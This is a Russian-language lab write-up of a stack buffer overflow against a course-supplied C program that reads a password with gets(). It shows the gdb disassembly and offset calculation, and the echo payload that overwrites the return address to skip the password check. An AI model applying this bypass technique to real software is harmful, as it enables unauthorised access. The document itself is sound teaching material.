

Переполнение буфера

Для начала создадим файл по выданному нам коду и скомпилируем его с ключами:

```
vlad@DESKTOP-MKU600H:~/eltex/hw_5$ gcc -fno-stack-protector -no-pie -o main main.c
main.c: In function 'IsPassOk':
main.c:24:5: warning: implicit declaration of function 'gets'; did you mean 'fgets'? [-Wimplicit-function-declaration]
   24 |     gets(Pass);
      |     ^~~~~
      |     fgets
/usr/bin/ld: /tmp/ccELMJLN.o: in function 'IsPassOk':
main.c:(.text+0x71): warning: the 'gets' function is dangerous and should not be used.
```

Затем запустим ***gdb***:

```
vlad@DESKTOP-MKU600H:~/eltex/hw_5$ gdb ./main
GNU gdb (Ubuntu 15.1-1ubuntu1~24.04.1) 15.1
Copyright (C) 2024 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./main...

This GDB supports auto-downloading debuginfo from the following URLs:
<https://debuginfod.ubuntu.com>
Enable debuginfod for this session? (y or [n]) y
Debuginfod has been enabled.
To make this setting permanent, add 'set debuginfod enabled on' to .gdbinit.
Downloading separate debug info for /home/vlad/eltex/hw_5/main
(No debugging symbols found in ./main)
(gdb)
```

Наша задача найти в ассемблере, куда выставлен переход, в случае успешной проверки пароля:

```
Program received signal SIGSEGV, Segmentation fault.
0x000000004011b6 in main ()
(gdb) disassemble main
Dump of assembler code for function main:
   0x00000000401196 <+0>:    endbr64
   0x0000000040119a <+4>:    push    %rbp
   0x0000000040119b <+5>:    mov     %rsp,%rbp
   0x0000000040119e <+8>:    sub     $0x10,%rsp
   0x000000004011a2 <+12>:   lea     0xe5b(%rip),%rax      # 0x402004
   0x000000004011a9 <+19>:   mov     %rax,%rdi
   0x000000004011ac <+22>:   call    0x401070 <puts@plt>
   0x000000004011b1 <+27>:   call    0x4011ee <IsPassOk>
=> 0x000000004011b6 <+32>:   mov     %eax,-0x4(%rbp)
   0x000000004011b9 <+35>:   cmpl    $0x0,-0x4(%rbp)
   0x000000004011bd <+39>:   jne     0x4011d8 <main+66>
   0x000000004011bf <+41>:   lea     0xe4e(%rip),%rax      # 0x402014
   0x000000004011c6 <+48>:   mov     %rax,%rdi
   0x000000004011c9 <+51>:   call    0x401070 <puts@plt>
   0x000000004011ce <+56>:   mov     $0x1,%edi
   0x000000004011d3 <+61>:   call    0x4010a0 <exit@plt>
   0x000000004011d8 <+66>:   lea     0xe43(%rip),%rax      # 0x402022
   0x000000004011df <+73>:   mov     %rax,%rdi
   0x000000004011e2 <+76>:   call    0x401070 <puts@plt>
   0x000000004011e7 <+81>:   mov     $0x0,%eax
   0x000000004011ec <+86>:   leave
   0x000000004011ed <+87>:   ret
End of assembler dump.
(gdb)
```

В моем случае это:

0x000000004011d8 <+66>: lea 0xe43(%rip),%rax

Найдем в функции ***isPassOk*** длину смещения, на который мы должны переполнить буфер:

```

(gdb) disassemble IsPassOk
Dump of assembler code for function IsPassOk:
0x00000000004011ee <+0>:    endbr64
0x00000000004011f2 <+4>:    push    %rbp
0x00000000004011f3 <+5>:    mov     %rsp,%rbp
0x00000000004011f6 <+8>:    sub     $0x10,%rsp
0x00000000004011fa <+12>:   lea     -0xc(%rbp),%rax
0x00000000004011fe <+16>:   mov     %rax,%rdi
0x0000000000401201 <+19>:   mov     $0x0,%eax
0x0000000000401206 <+24>:   call    0x401090 <gets@plt>
0x000000000040120b <+29>:   lea     -0xc(%rbp),%rax
0x000000000040120f <+33>:   lea     0xe1c(%rip),%rdx    # 0x402032
0x0000000000401216 <+40>:   mov     %rdx,%rsi
0x0000000000401219 <+43>:   mov     %rax,%rdi
0x000000000040121c <+46>:   call    0x401080 <strcmp@plt>
0x0000000000401221 <+51>:   test    %eax,%eax
0x0000000000401223 <+53>:   sete    %al
0x0000000000401226 <+56>:   movzbl  %al,%eax
0x0000000000401229 <+59>:   leave
0x000000000040122a <+60>:   ret
End of assembler dump.
(gdb)

```

От начала буфера до регистра rbp – 12 байт (-0xc) и еще 8 байт на адрес возврата (64-битная система). Итого 20 байт.

Записываем в наш буфер для переполнения 20 символов «А» в 16-ричной системе счисления и после адрес, куда нужно прыгнуть, чтобы обойти проверку пароля.

```

vlad@DESKTOP-MKU600H:~/eltex/hw_5$ echo -e 'AAAAAAAAAAAAAAAAAAAA\xd8\x11\x40\x00\x00\x00\x00' > buff.bin
vlad@DESKTOP-MKU600H:~/eltex/hw_5$ cat buff.bin
AAAAAAAAAAAAAAAAAAAA@
vlad@DESKTOP-MKU600H:~/eltex/hw_5$

```

Передаем буфер на вход программы и успешно взламываем.

```

vlad@DESKTOP-MKU600H:~/eltex/hw_5$ ./main < buff.bin
Enter password:
Access granted!
Bus error (core dumped)
vlad@DESKTOP-MKU600H:~/eltex/hw_5$

```